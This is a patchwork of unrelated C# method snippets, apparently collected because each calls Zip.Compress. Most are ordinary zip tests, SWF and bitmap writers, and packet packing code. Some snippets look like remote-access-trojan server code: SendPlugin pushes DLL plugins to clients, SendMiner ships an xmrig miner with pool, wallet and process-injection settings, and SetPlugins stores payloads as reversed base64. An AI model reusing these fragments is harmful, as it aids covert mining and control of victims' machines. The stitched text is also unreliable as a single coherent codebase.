public void ZipSameFileTwice() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath) }; _compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single(); _compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single(); }
public byte[] PackPacketToBytes(IPirateXPackage requestPackage) { if (requestPackage == null) { return(null); } var headerbytes = requestPackage.HeaderBytes; var contentbytes = requestPackage.ContentBytes; //信息头压缩 headerbytes = ZipEnable ? Zip.Compress(headerbytes) : headerbytes; //数据体压缩 contentbytes = ZipEnable ? Zip.Compress(contentbytes) : contentbytes; //8位, 每一位是一个加密标记位,1表示启用 for (byte i = 0; i < 8; i++) { if (CryptoByte.GetBit(i)) { var crypto = CryptoFactory.GetCrypto(i); if (crypto != null) { //信息头加密 headerbytes = crypto.Encode(headerbytes, PackKeys); //数据体加密 if (contentbytes == null) { contentbytes = new byte[0]; } else { contentbytes = crypto.Encode(contentbytes, PackKeys); } } } } var zipByte = new byte[1]; zipByte[0] = ZipEnable ? (byte)Math.Pow(2, 7) : (byte)0; var headerLen = headerbytes.Length; var contentLen = contentbytes?.Length ?? 0; using (var stream = new MemoryStream()) { stream.Write(BitConverter.GetBytes(4 + 1 + 1 + 4 + headerLen + contentLen), 0, 4); stream.Write(zipByte, 0, 1); stream.Write(new[] { CryptoByte }, 0, 1); stream.Write(BitConverter.GetBytes(headerLen), 0, 4); stream.Write(headerbytes, 0, headerLen); if (contentbytes != null) { stream.Write(contentbytes, 0, contentLen); } return(stream.ToArray()); } }
public byte[] ToByteArray() { var writer = new SwfWriter(); bool compress = _allowCompression && _version >= MinVersionSupportedComression; //write header writer.Write(compress ? SigCWS : SigFWS); writer.WriteUInt8((byte)_version); //file version //NOTE: Comment below is from SWF specification. //The FileLength field is the total length of the SWF file, including the header. If this is an //uncompressed SWF file (FWS signature), the FileLength field should exactly match the file //size. If this is a compressed SWF file (CWS signature), the FileLength field indicates the total //length of the file after decompression, and thus generally does not match the file size. var data = GetFileData(); int len = data.Length; if (compress) { data = Zip.Compress(data); //if (data.Length > len) // len = data.Length; } writer.WriteUInt32((uint)(8 + len)); //file length writer.Write(data); data = writer.ToByteArray(); return(data); }
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb { try { foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) { if (hash == GetHash.GetChecksum(plugin)) { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(plugin))); msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin)); ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes()); //new HandleLogs().Addmsg($"Plugin {Path.GetFileName(plugin)} sent to client {Ip}", Color.Blue); new HandleLogs().Addmsg($"插件 {Path.GetFileName(plugin)} 发送到客户端 {Ip}", Color.Blue); break; } } } catch (Exception ex) { //new HandleLogs().Addmsg($"Client {Ip} {ex.Message}", Color.Red); new HandleLogs().Addmsg($"客户端 {Ip} {ex.Message}", Color.Red); } }
public void ZipMultipleFiles() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath), new FileInfo(Path.Combine(_workingDirectory.FullName, "TestData.xml")) }; _compressedFile = compressor.Compress(filesToCompress, new FileInfo(Path.Combine(_workingDirectory.FullName, _targetZipFileName))).DefaultIfEmpty(new FileInfo("mock")).Single(); Assert.AreEqual(Path.GetExtension(_compressedFile.FullName), ".zip"); Assert.IsTrue(File.Exists(_compressedFile.FullName)); using (ZipArchive zip = ZipFile.Open(_compressedFile.FullName, ZipArchiveMode.Read)) { ReadOnlyCollection <ZipArchiveEntry> zipEntries = zip.Entries; Assert.IsTrue(zipEntries.Count == filesToCompress.Count); foreach (FileInfo file in filesToCompress) { Assert.IsTrue(zipEntries.Any(x => x.Name == file.Name)); } } }
/// <summary> /// 安全转码 /// </summary> /// <param name="content"></param> /// <returns></returns> public static byte[] SecEncode(string content) { content = EncryptDES(content, new String(DefaultKey)); return(Zip.Compress(content)); //byte[] tempBytes = Encoding.UTF8.GetBytes(content); //return LZMA.Compress(tempBytes, 0, tempBytes.Length, 0); }
/// <summary> /// 数据装包前的工作 /// 压缩和加密控制 /// </summary> /// <param name="datas"></param> /// <returns></returns> private byte[] PrePack(byte[] datas) { var compress = ZipEnable ? Zip.Compress(datas) : datas; var d = CryptoEnable ? Crypto.Encode(compress, ServerKeys[0]) : compress; return(d); }
public void ZipEmptyFileList() { ICompressor compressor = new Zip(); OneOrZeroElementCollection <FileInfo> result = compressor.Compress(new List <FileInfo>(), new FileInfo(_targetZipFileName)); Assert.IsFalse(result.Any()); }
public void ZipFileWithUndefinedCompressedFile() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath) }; _compressedFile = compressor.Compress(filesToCompress, null).DefaultIfEmpty(new FileInfo("mock")).Single(); }
public void ZipToFileWithWrongExtension() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath) }; _compressedFile = compressor.Compress(filesToCompress, new FileInfo("xyz.txt")).DefaultIfEmpty(new FileInfo("mock")).Single(); }
private static void WriteIndexed(SwfWriter writer, Bitmap bmp, bool alpha) { int w = bmp.Width; int h = bmp.Height; writer.WriteUInt8((byte)SwfBitmapFormat.Indexed); writer.WriteUInt16((ushort)w); writer.WriteUInt16((ushort)h); var pal = bmp.Palette.Entries; int palSize = pal.Length; writer.WriteUInt8((byte)(palSize - 1)); var bmpWriter = new SwfWriter(); for (int i = 0; i < palSize; ++i) { bmpWriter.WriteColor(pal[i], alpha); } //NOTE: Row widths in the pixel data fields of these structures must be rounded up to the next //32-bit word boundary. For example, an 8-bit image that is 253 pixels wide must be //padded out to 256 bytes per line. To determine the appropriate padding, make sure to //take into account the actual size of the individual pixel structures; 15-bit pixels occupy 2 //bytes and 24-bit pixels occupy 4 bytes (see PIX15 and PIX24). int pad = w % 4; if (pad != 0) { pad = 4 - pad; } using (var fbmp = new FastBitmap(bmp)) { for (int y = 0; y < h; ++y) { for (int x = 0; x < w; ++x) { int index = fbmp.GetIndex(x, y); Debug.Assert(index >= 0 && index < palSize); bmpWriter.WriteUInt8((byte)index); } if (pad > 0) { bmpWriter.Pad(pad); } } } var data = bmpWriter.ToByteArray(); data = Zip.Compress(data); writer.Write(data); }
public void ZipFileToNonExistentDirectory() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath) }; FileInfo zipFile = new FileInfo(Path.Combine("NonExistentDir", _targetZipFileName)); _compressedFile = compressor.Compress(filesToCompress, zipFile).DefaultIfEmpty(new FileInfo("mock")).Single(); }
public void ZipFileWhichDoesntExist() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath), new FileInfo(Path.Combine("Data", "EBRD_EMIR_Trades_20170712.xm1l")) }; _compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single(); }
private static void WriteRGB24(SwfWriter writer, Bitmap bmp, bool alpha) { writer.WriteUInt8((byte)SwfBitmapFormat.RGB24); writer.WriteUInt16((ushort)bmp.Width); writer.WriteUInt16((ushort)bmp.Height); var data = GetRGB24(bmp, alpha); data = Zip.Compress(data); writer.Write(data); }
public byte[] Encode2Bytes() { using (MemoryStream ms = new MemoryStream()) { Encode2Stream(ms); byte[] r = new byte[ms.Length]; ms.Position = 0; ms.Read(r, 0, (int)ms.Length); return(Zip.Compress(r)); } }
private bool updateZip() { ZipPackage = Zip.Compress(NewRelease.ReleaseName, OutputPath); if (ZipPackage == null) { Fail("Compression failed"); } return(ZipPackage != null); }
public void Compress_AtLeast2SameChars_CompressesData() { // Arrange var input = "AA"; var sut = new Zip(); // Act var actual = sut.Compress(input); // Assert Assert.Equal("2A", actual); }
public void Compress_RegularString_CompressesData() { // Arrange var input = "AzGGG jj UUUUUUUsTtTTTTT xbbbb 18 AAAaaAAAAaaaa zz."; var sut = new Zip(); // Act var actual = sut.Compress(input); // Assert Assert.Equal("Az3G 2j 7UsTt5T x4b 18 3A2a4A4a 2z.", actual); }
public void Compress_TwoDifferentChars_DoesNotCompress() { // Arrange var input = "AB"; var sut = new Zip(); // Act var actual = sut.Compress(input); // Assert Assert.Equal("AB", actual); }
public void Compress_OneCharString_DoesNotCompress() { // Arrange var input = "A"; var sut = new Zip(); // Act var actual = sut.Compress(input); // Assert Assert.Equal("A", actual); }
public void CompressTest() { string srcFilePath = PathHelper.GetFilePath(@"/Data/mountain.bmp"); var expected = FileTransform.File2ByteArray(srcFilePath); var zipedSrcFileBytes = Zip.Compress(expected); var actual = Zip.Decompress(zipedSrcFileBytes); CollectionAssert.AreEqual(actual, expected); }
public void ZipFileWithDefinedName() { ICompressor compressor = new Zip(); List <FileInfo> filesToCompress = new List <FileInfo> { new FileInfo(_testFilePath) }; _compressedFile = compressor.Compress(filesToCompress, new FileInfo(Path.Combine(_workingDirectory.FullName, _targetZipFileName))).DefaultIfEmpty(new FileInfo("mock")).Single(); Assert.AreEqual(_compressedFile.Name, _targetZipFileName); Assert.IsTrue(File.Exists(_compressedFile.FullName)); }
public void Compress_Should_Throw_If_FilePaths_Are_Null() { // Given var fileSystem = Substitute.For <IFileSystem>(); var environment = Substitute.For <ICakeEnvironment>(); var log = Substitute.For <ICakeLog>(); var zip = new Zip(fileSystem, environment, log); // Then Assert.That(() => zip.Compress(rootPath, outputPath, null, level), Throws.InstanceOf <ArgumentNullException>() .And.Property("ParamName").EqualTo("filePaths")); }
public void Compress_Should_Throw_If_Level_Is_Invalid(int compressLevel) { // Given var fileSystem = Substitute.For <IFileSystem>(); var environment = Substitute.For <ICakeEnvironment>(); var log = Substitute.For <ICakeLog>(); var zip = new Zip(fileSystem, environment, log); // Then Assert.That(() => zip.Compress(rootPath, outputPath, filePaths, compressLevel), Throws.InstanceOf <ArgumentOutOfRangeException>() .And.Property("ParamName").EqualTo("level")); }
public void Compress_Creates_Zip_File() { // Given var environment = FakeEnvironment.CreateUnixEnvironment(); var fileSystem = new FakeFileSystem(environment); fileSystem.CreateFile("/Root/file.txt"); var log = Substitute.For <ICakeLog>(); var zip = new Zip(fileSystem, environment, log); // Then Assert.That(() => zip.Compress(rootPath, outputPath, filePaths, level), Throws.Nothing); Assert.That(fileSystem.Exist(outputPath), Is.True); }
public void Compress_Should_Throw_If_File_Is_Not_Relative_To_Root() { // Given var environment = FakeEnvironment.CreateUnixEnvironment(); var fileSystem = new FakeFileSystem(environment); fileSystem.CreateFile("/NotRoot/file.txt"); var log = Substitute.For <ICakeLog>(); var zip = new Zip(fileSystem, environment, log); // Then Assert.That(() => zip.Compress(rootPath, outputPath, new FilePath[] { "/NotRoot/file.txt" }, level), Throws.InstanceOf <CakeException>() .And.Message.EqualTo("File '/NotRoot/file.txt' is not relative to root path '/Root'.")); }
public void SendMiner(Clients client) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "xmr"; packet.ForcePathObject("Command").AsString = "save"; packet.ForcePathObject("Bin").SetAsBytes(Zip.Compress(File.ReadAllBytes(@"Plugins\xmrig.bin"))); packet.ForcePathObject("Hash").AsString = GetHash.GetChecksum(@"Plugins\xmrig.bin"); packet.ForcePathObject("Pool").AsString = XmrSettings.Pool; packet.ForcePathObject("Wallet").AsString = XmrSettings.Wallet; packet.ForcePathObject("Pass").AsString = XmrSettings.Pass; packet.ForcePathObject("InjectTo").AsString = XmrSettings.InjectTo; ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes()); Debug.WriteLine("XMR sent"); }
void SaveToFile(bool compress = true) { // to json string string jsonString = JsonUtility.ToJson(gameplayRecording); // string to byteArray byte[] stringBytes = Encoding.ASCII.GetBytes(jsonString); // to compressed byteArray if (compress) { stringBytes = Zip.Compress(stringBytes); } // byteArray to file File.WriteAllBytes(gameplayRecording.FileNameWithPath, stringBytes); Debug.Log("Recording saved to: " + gameplayRecording.FileNameWithPath); }
public static String Compress(object a) { String result = null; if (!(a is Undefined)) { try { String str = a.ToString(); byte[] buf = Encoding.UTF8.GetBytes(str); buf = Zip.Compress(buf); result = Encoding.Default.GetString(buf); } catch { } } return(result); }
public static void SetPlugins() { try { foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) { Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); #if DEBUG byte[] plg = Zip.Compress(File.ReadAllBytes(plugin)); Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}"); #endif } } catch (Exception ex) { new HandleLogs().Addmsg(ex.Message, Color.Red); } }